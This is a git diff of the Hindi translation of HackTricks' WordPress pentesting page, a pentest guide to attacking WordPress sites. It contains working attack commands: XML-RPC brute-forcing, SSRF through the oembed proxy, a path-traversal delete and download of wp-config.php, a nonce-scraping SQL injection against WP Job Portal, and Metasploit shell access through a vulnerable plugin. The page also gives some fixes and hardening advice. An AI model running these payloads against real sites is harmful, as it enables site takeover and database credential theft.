mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/wordpress.md
This commit is contained in:
parent
bf62d3e814
commit
4937c5673f
@ -24,13 +24,13 @@
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` एक फ़ाइल है जो WordPress की एक विशेषता का प्रतिनिधित्व करती है जो डेटा को HTTP के माध्यम से संचारित करने की अनुमति देती है, जो परिवहन तंत्र के रूप में कार्य करती है और XML को एन्कोडिंग तंत्र के रूप में। इस प्रकार की संचार को WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा प्रतिस्थापित किया गया है।
|
||||
- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ प्लगइन्स और थीम संग्रहीत होते हैं।
|
||||
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं।
|
||||
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइल संग्रहीत होती है।
|
||||
- `wp-includes/` यह वह निर्देशिका है जहाँ कोर फ़ाइलें संग्रहीत होती हैं, जैसे कि प्रमाणपत्र, फ़ॉन्ट, जावास्क्रिप्ट फ़ाइलें, और विजेट।
|
||||
- `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे अधिक में, WordPress सभी सार्वजनिक पोस्ट और सार्वजनिक रूप से क्वेरी करने योग्य पोस्ट प्रकारों और वर्गीकरणों के साथ एक साइटमैप XML फ़ाइल उत्पन्न करता है।
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- `wp-config.php` फ़ाइल में WordPress द्वारा डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है।
|
||||
- `wp-config.php` फ़ाइल में WordPress को डेटाबेस से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे कि डेटाबेस का नाम, डेटाबेस होस्ट, उपयोगकर्ता नाम और पासवर्ड, प्रमाणीकरण कुंजी और नमक, और डेटाबेस तालिका उपसर्ग। इस कॉन्फ़िगरेशन फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो समस्या निवारण में सहायक हो सकता है।
|
||||
|
||||
### Users Permissions
|
||||
|
||||
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### सामान्य रूप से संस्करण निकालें
|
||||
### सामान्य में संस्करण निकालें
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -85,7 +85,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### उपयोगकर्ता
|
||||
|
||||
- **आईडी ब्रूट:** आप उपयोगकर्ता आईडी को ब्रूट फोर्स करके एक वर्डप्रेस साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
|
||||
- **आईडी ब्रूट:** आप ब्रूट फोर्सिंग उपयोगकर्ता आईडी से एक WordPress साइट से मान्य उपयोगकर्ता प्राप्त करते हैं:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
@ -107,9 +107,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
### XML-RPC
|
||||
|
||||
यदि `xml-rpc.php` सक्रिय है, तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
|
||||
यदि `xml-rpc.php` सक्रिय है तो आप क्रेडेंशियल्स ब्रूट-फोर्स कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS हमले शुरू करने के लिए कर सकते हैं। (आप इस प्रक्रिया को स्वचालित कर सकते हैं[ इसका उपयोग करके](https://github.com/relarizky/wpxploit) उदाहरण के लिए)।
|
||||
|
||||
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:
|
||||
यह देखने के लिए कि क्या यह सक्रिय है, _**/xmlrpc.php**_ पर पहुँचने की कोशिश करें और यह अनुरोध भेजें:
|
||||
|
||||
**जांचें**
|
||||
```html
|
||||
@ -122,7 +122,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
**क्रेडेंशियल्स ब्रूटफोर्स**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी खोज सकते हैं, तो आप कुछ इस तरह भेज सकते हैं:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे तरीके हैं जिनका उपयोग क्रेडेंशियल्स को ब्रूट-फोर्स करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ सकते हैं, तो आप कुछ इस तरह भेज सकते हैं:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,7 +132,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
संदेश _"Incorrect username or password"_ एक 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल्स मान्य नहीं होते।
|
||||
संदेश _"Incorrect username or password"_ 200 कोड प्रतिक्रिया के अंदर तब दिखाई देना चाहिए जब क्रेडेंशियल्स मान्य नहीं होते।
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
@ -174,7 +174,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
|
||||
**2FA बायपास करें**
|
||||
|
||||
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है।
|
||||
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को नहीं कर पाएंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं, जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है।
|
||||
|
||||
**DDoS या पोर्ट स्कैनिंग**
|
||||
|
||||
@ -191,7 +191,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||

|
||||
|
||||
यदि आपको **faultCode** एक मान **greater** के साथ **0** (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
|
||||
यदि आपको **faultCode** एक **0** (17) से **बड़ा** मान मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
|
||||
|
||||
DDoS का कारण बनने के लिए इस विधि का दुरुपयोग करने के लिए पिछले अनुभाग में **`system.multicall`** के उपयोग पर एक नज़र डालें।
|
||||
|
||||
@ -210,7 +210,7 @@ DDoS का कारण बनने के लिए इस विधि क
|
||||
### wp-cron.php DoS
|
||||
|
||||
यह फ़ाइल आमतौर पर Wordpress साइट की जड़ के तहत मौजूद होती है: **`/wp-cron.php`**\
|
||||
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** निष्पादित होती है, इसलिए इसका उपयोग **हमलावरों** द्वारा **DoS** **कारण** बनाने के लिए किया जा सकता है।\
|
||||
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **क्वेरी** की जाती है, इसलिए इसे **हमलावरों** द्वारा **DoS** **कारण** के लिए उपयोग किया जा सकता है।\
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` हर पृष्ठ लोड पर (जब भी कोई क्लाइंट कोई Wordpress पृष्ठ मांगता है) कॉल किया जाता है, जो उच्च-ट्रैफ़िक साइटों पर समस्याएँ पैदा कर सकता है (DoS)।
|
||||
|
||||
Wp-Cron को निष्क्रिय करने और होस्ट के अंदर एक वास्तविक क्रोनजॉब बनाने की सिफारिश की जाती है जो नियमित अंतराल पर आवश्यक क्रियाएँ करता है (बिना समस्याएँ उत्पन्न किए)।
|
||||
@ -219,7 +219,7 @@ Wp-Cron को निष्क्रिय करने और होस्ट
|
||||
|
||||
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ पर पहुँचने की कोशिश करें और Worpress साइट आपसे एक अनुरोध कर सकती है।
|
||||
|
||||
जब यह काम नहीं करता है तो यह प्रतिक्रिया होती है:
|
||||
जब यह काम नहीं करता है तो यह प्रतिक्रिया है:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Get access by overwriting a bit
|
||||
|
||||
यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। IN the CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी wordpress फ़ाइल से 1 बिट को पलट सकते हैं। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP NOT (`!`) ऑपरेशन के लिए पलट सकते हैं।
|
||||
यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। CTF में [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थान `5389` को NOT (`!`) ऑपरेशन को NOP करने के लिए पलट सकते थे।
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
@ -295,7 +295,7 @@ Proceed पर क्लिक करें:
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
यह विधि एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन से संबंधित है जिसे कमजोर माना जाता है और इसका उपयोग वेब शेल प्राप्त करने के लिए किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
|
||||
यह विधि एक दुर्बलता के लिए ज्ञात एक दुर्भावनापूर्ण प्लगइन के इंस्टॉलेशन को शामिल करती है और इसे वेब शेल प्राप्त करने के लिए शोषित किया जा सकता है। यह प्रक्रिया WordPress डैशबोर्ड के माध्यम से इस प्रकार की जाती है:
|
||||
|
||||
1. **Plugin Acquisition**: प्लगइन को Exploit DB जैसे स्रोत से प्राप्त किया जाता है जैसे [**यहाँ**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
@ -303,17 +303,17 @@ Proceed पर क्लिक करें:
|
||||
- डाउनलोड किए गए प्लगइन की zip फ़ाइल अपलोड करें।
|
||||
3. **Plugin Activation**: एक बार प्लगइन सफलतापूर्वक स्थापित हो जाने के बाद, इसे डैशबोर्ड के माध्यम से सक्रिय करना होगा।
|
||||
4. **Exploitation**:
|
||||
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसका शोषण किया जा सकता है क्योंकि यह कमजोर माना जाता है।
|
||||
- Metasploit ढांचा इस कमजोरी के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल को लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरप्रीटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
|
||||
- यह नोट किया गया है कि यह WordPress साइट का शोषण करने के कई तरीकों में से एक है।
|
||||
- "reflex-gallery" प्लगइन स्थापित और सक्रिय होने पर, इसे शोषित किया जा सकता है क्योंकि यह ज्ञात है कि यह दुर्बल है।
|
||||
- Metasploit ढांचा इस दुर्बलता के लिए एक शोषण प्रदान करता है। उपयुक्त मॉड्यूल लोड करके और विशिष्ट कमांड निष्पादित करके, एक मीटरपेटर सत्र स्थापित किया जा सकता है, जो साइट पर अनधिकृत पहुंच प्रदान करता है।
|
||||
- यह नोट किया गया है कि यह WordPress साइट को शोषित करने के कई तरीकों में से एक है।
|
||||
|
||||
सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से कमजोरियों का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
|
||||
सामग्री में प्लगइन को स्थापित और सक्रिय करने के लिए WordPress डैशबोर्ड में चरणों को दर्शाने वाले दृश्य सहायता शामिल हैं। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि इस तरीके से दुर्बलताओं का शोषण करना बिना उचित प्राधिकरण के अवैध और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे कि स्पष्ट अनुमति के साथ पेनटेस्टिंग।
|
||||
|
||||
**अधिक विस्तृत चरणों के लिए देखें:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** कमजोरी को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण कमजोरियों में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जिसे **Cross-Site Scripting (XSS)** दुर्बलता को **Remote Code Execution (RCE)** या अन्य महत्वपूर्ण दुर्बलताओं में बढ़ाने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**इस पोस्ट**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) की जांच करें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए समर्थन प्रदान करता है और अनुमति देता है:**
|
||||
- _**Privilege Escalation:**_ WordPress में एक उपयोगकर्ता बनाता है।
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपने कस्टम प्लगइन (बैकडोर) को WordPress में अपलोड करें।
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress में एक अंतर्निहित प्लगइन को संपादित करें।
|
||||
@ -338,9 +338,9 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce की उपस्थिति पर आधारित करते हैं जो **किसी भी उपयोगकर्ता को जो Wordpress उदाहरण में प्रमाणित है, हो सकता है** (इसके भूमिका के स्वतंत्र)।
|
||||
एक प्लगइन उपयोगकर्ताओं के लिए कार्यों को उजागर करने के तरीकों में से एक AJAX हैंडलर्स के माध्यम से है। इनमें लॉजिक, प्राधिकरण, या प्रमाणीकरण बग हो सकते हैं। इसके अलावा, यह अक्सर होता है कि ये कार्य प्रमाणीकरण और प्राधिकरण दोनों को एक Wordpress nonce की उपस्थिति पर आधारित करते हैं जिसे **किसी भी उपयोगकर्ता ने Wordpress उदाहरण में प्रमाणित किया हो सकता है** (इसके भूमिका के स्वतंत्रता में)।
|
||||
|
||||
ये वे कार्य हैं जो एक प्लगइन में एक कार्य को उजागर करने के लिए उपयोग किए जा सकते हैं:
|
||||
ये वे कार्य हैं जिन्हें एक प्लगइन में कार्य को उजागर करने के लिए उपयोग किया जा सकता है:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
@ -368,14 +368,14 @@ $this->namespace, '/get/', array(
|
||||
|
||||
- **php फ़ाइल तक सीधी पहुँच**
|
||||
|
||||
बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो केवल फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है।
|
||||
बेशक, Wordpress PHP का उपयोग करता है और प्लगइन्स के अंदर फ़ाइलें सीधे वेब से सुलभ होती हैं। इसलिए, यदि कोई प्लगइन किसी कमजोर कार्यक्षमता को उजागर कर रहा है जो फ़ाइल को एक्सेस करने पर सक्रिय होती है, तो इसे किसी भी उपयोगकर्ता द्वारा शोषित किया जा सकता है।
|
||||
|
||||
### wp_ajax_nopriv के माध्यम से अनधिकृत मनमाना फ़ाइल हटाना (Litho Theme <= 3.0)
|
||||
### wp_ajax_nopriv के माध्यम से अनधिकृत मनमाना फ़ाइल हटाना (Litho थीम <= 3.0)
|
||||
|
||||
WordPress थीम और प्लगइन्स अक्सर `wp_ajax_` और `wp_ajax_nopriv_` हुक के माध्यम से AJAX हैंडलर को उजागर करते हैं। जब **_nopriv_** संस्करण का उपयोग किया जाता है **तो कॉलबैक अनधिकृत आगंतुकों द्वारा पहुँच योग्य हो जाता है**, इसलिए किसी भी संवेदनशील क्रिया को अतिरिक्त रूप से लागू करना चाहिए:
|
||||
|
||||
1. एक **क्षमता जांच** (जैसे `current_user_can()` या कम से कम `is_user_logged_in()`), और
|
||||
2. एक **CSRF nonce** जो `check_ajax_referer()` / `wp_verify_nonce()` के साथ मान्य किया गया हो, और
|
||||
2. एक **CSRF nonce** जिसे `check_ajax_referer()` / `wp_verify_nonce()` के साथ मान्य किया गया हो, और
|
||||
3. **कठोर इनपुट सफाई / मान्यता**।
|
||||
|
||||
Litho बहुउद्देशीय थीम (< 3.1) ने *Remove Font Family* फीचर में उन 3 नियंत्रणों को भूल गया और अंततः निम्नलिखित कोड (सरल) भेजा:
|
||||
@ -397,11 +397,11 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
इस स्निपेट द्वारा उत्पन्न समस्याएँ:
|
||||
इस स्निपेट द्वारा पेश की गई समस्याएँ:
|
||||
|
||||
* **अप्रमाणित पहुँच** – `wp_ajax_nopriv_` हुक पंजीकृत है।
|
||||
* **कोई नॉनस / क्षमता जांच नहीं** – कोई भी आगंतुक एंडपॉइंट को हिट कर सकता है।
|
||||
* **कोई पथ स्वच्छता नहीं** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को फ़िल्टर किए बिना फ़ाइल सिस्टम पथ में जोड़ा गया है, जिससे क्लासिक `../../` ट्रैवर्सल की अनुमति मिलती है।
|
||||
* **कोई पथ सफाई नहीं** – उपयोगकर्ता-नियंत्रित `fontfamily` स्ट्रिंग को फ़िल्टर किए बिना फ़ाइल सिस्टम पथ में जोड़ा गया है, जिससे क्लासिक `../../` ट्रैवर्सल की अनुमति मिलती है।
|
||||
|
||||
#### शोषण
|
||||
|
||||
@ -411,9 +411,9 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress *installation wizard* में चला जाता है, जिससे पूरी साइट पर कब्जा करना संभव हो जाता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)।
|
||||
क्योंकि `wp-config.php` *uploads* के बाहर रहता है, एक डिफ़ॉल्ट इंस्टॉलेशन पर चार `../` अनुक्रम पर्याप्त हैं। `wp-config.php` को हटाने से अगले दौरे पर WordPress को *इंस्टॉलेशन विज़ार्ड* में मजबूर किया जाता है, जिससे पूरी साइट पर कब्जा करना संभव होता है (हमलावर केवल एक नया DB कॉन्फ़िगरेशन प्रदान करता है और एक व्यवस्थापक उपयोगकर्ता बनाता है)।
|
||||
|
||||
अन्य प्रभावशाली लक्ष्य में प्लगइन/थीम के `.php` फ़ाइलें (सुरक्षा प्लगइनों को तोड़ने के लिए) या `.htaccess` नियम शामिल हैं।
|
||||
अन्य प्रभावशाली लक्ष्य में प्लगइन/थीम के `.php` फ़ाइलें (सुरक्षा प्लगइन्स को तोड़ने के लिए) या `.htaccess` नियम शामिल हैं।
|
||||
|
||||
#### Detection checklist
|
||||
|
||||
@ -442,7 +442,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
```
|
||||
> [!TIP]
|
||||
> **हमेशा** डिस्क पर किसी भी लिखने/हटाने के ऑपरेशन को विशेषाधिकार प्राप्त समझें और दोबारा जांचें:
|
||||
> • प्रमाणीकरण • अधिकृत करना • नॉनस • इनपुट सफाई • पथ सीमांकन (जैसे `realpath()` और `str_starts_with()` के माध्यम से)।
|
||||
> • प्रमाणीकरण • अधिकृत करना • नॉनस • इनपुट सफाई • पथ नियंत्रण (जैसे `realpath()` और `str_starts_with()` के माध्यम से)।
|
||||
|
||||
---
|
||||
|
||||
@ -450,7 +450,7 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
|
||||
|
||||
### नियमित अपडेट
|
||||
|
||||
सुनिश्चित करें कि WordPress, प्लगइन्स, और थीम अपडेटेड हैं। यह भी पुष्टि करें कि wp-config.php में स्वचालित अपडेट सक्षम है:
|
||||
सुनिश्चित करें कि WordPress, प्लगइन्स और थीम अपडेटेड हैं। यह भी पुष्टि करें कि wp-config.php में स्वचालित अपडेट सक्षम है:
|
||||
```bash
|
||||
define( 'WP_AUTO_UPDATE_CORE', true );
|
||||
add_filter( 'auto_update_plugin', '__return_true' );
|
||||
@ -472,8 +472,64 @@ Also, **केवल विश्वसनीय WordPress प्लगइन्
|
||||
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों** की संख्या सीमित करें
|
||||
- **`wp-admin.php`** फ़ाइल का नाम बदलें और केवल आंतरिक रूप से या कुछ IP पते से पहुंच की अनुमति दें।
|
||||
|
||||
### अपर्याप्त सत्यापन के माध्यम से अनधिकृत SQL इंजेक्शन (WP Job Portal <= 2.3.2)
|
||||
|
||||
WP Job Portal भर्ती प्लगइन ने एक **savecategory** कार्य को उजागर किया जो अंततः `modules/category/model.php::validateFormData()` के अंदर निम्नलिखित कमजोर कोड को निष्पादित करता है:
|
||||
```php
|
||||
$category = WPJOBPORTALrequest::getVar('parentid');
|
||||
$inquery = ' ';
|
||||
if ($category) {
|
||||
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
|
||||
}
|
||||
$query = "SELECT max(ordering)+1 AS maxordering FROM "
|
||||
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
|
||||
```
|
||||
इस स्निपेट द्वारा पेश की गई समस्याएँ:
|
||||
|
||||
1. **असंसाधित उपयोगकर्ता इनपुट** – `parentid` सीधे HTTP अनुरोध से आता है।
|
||||
2. **WHERE क्लॉज के अंदर स्ट्रिंग संयोजन** – कोई `is_numeric()` / `esc_sql()` / तैयार बयान नहीं है।
|
||||
3. **अप्रमाणित पहुंच** – हालांकि क्रिया `admin-post.php` के माध्यम से निष्पादित होती है, लेकिन केवल एक जांच मौजूद है, जो एक **CSRF nonce** (`wp_verify_nonce()`) है, जिसे कोई भी आगंतुक सार्वजनिक पृष्ठ से प्राप्त कर सकता है, जिसमें शॉर्टकोड `[wpjobportal_my_resumes]` शामिल है।
|
||||
|
||||
#### शोषण
|
||||
|
||||
1. एक ताजा nonce प्राप्त करें:
|
||||
```bash
|
||||
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
|
||||
```
|
||||
2. `parentid` का दुरुपयोग करके मनमाना SQL इंजेक्ट करें:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-post.php \
|
||||
-d 'task=savecategory' \
|
||||
-d '_wpnonce=<nonce>' \
|
||||
-d 'parentid=0 OR 1=1-- -' \
|
||||
-d 'cat_title=pwn' -d 'id='
|
||||
```
|
||||
प्रतिक्रिया इंजेक्ट किए गए प्रश्न के परिणाम को प्रकट करती है या डेटाबेस को बदलती है, जो SQLi को साबित करती है।
|
||||
|
||||
### अप्रमाणित मनमाना फ़ाइल डाउनलोड / पथ ट्रैवर्सल (WP Job Portal <= 2.3.2)
|
||||
|
||||
एक और कार्य, **downloadcustomfile**, आगंतुकों को पथ ट्रैवर्सल के माध्यम से **डिस्क पर कोई भी फ़ाइल डाउनलोड** करने की अनुमति देता था। कमजोर स्थान `modules/customfield/model.php::downloadCustomUploadedFile()` में स्थित है:
|
||||
```php
|
||||
$file = $path . '/' . $file_name;
|
||||
...
|
||||
echo $wp_filesystem->get_contents($file); // raw file output
|
||||
```
|
||||
`$file_name` हमलावर द्वारा नियंत्रित है और **साफ किए बिना** जोड़ा गया है। फिर से, एकमात्र गेट एक **CSRF nonce** है जिसे रिज़्यूमे पृष्ठ से प्राप्त किया जा सकता है।
|
||||
|
||||
#### शोषण
|
||||
```bash
|
||||
curl -G https://victim.com/wp-admin/admin-post.php \
|
||||
--data-urlencode 'task=downloadcustomfile' \
|
||||
--data-urlencode '_wpnonce=<nonce>' \
|
||||
--data-urlencode 'upload_for=resume' \
|
||||
--data-urlencode 'entity_id=1' \
|
||||
--data-urlencode 'file_name=../../../wp-config.php'
|
||||
```
|
||||
सर्वर `wp-config.php` की सामग्री के साथ प्रतिक्रिया करता है, DB क्रेडेंशियल्स और ऑथ कीज़ लीक करता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
- [Litho थीम में अनधिकृत मनमाना फ़ाइल हटाने की भेद्यता](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [Litho Theme में अनधिकृत मनमाना फ़ाइल हटाने की भेद्यता](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
- [WP Job Portal Plugin में कई महत्वपूर्ण भेद्यताएँ पैच की गईं](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
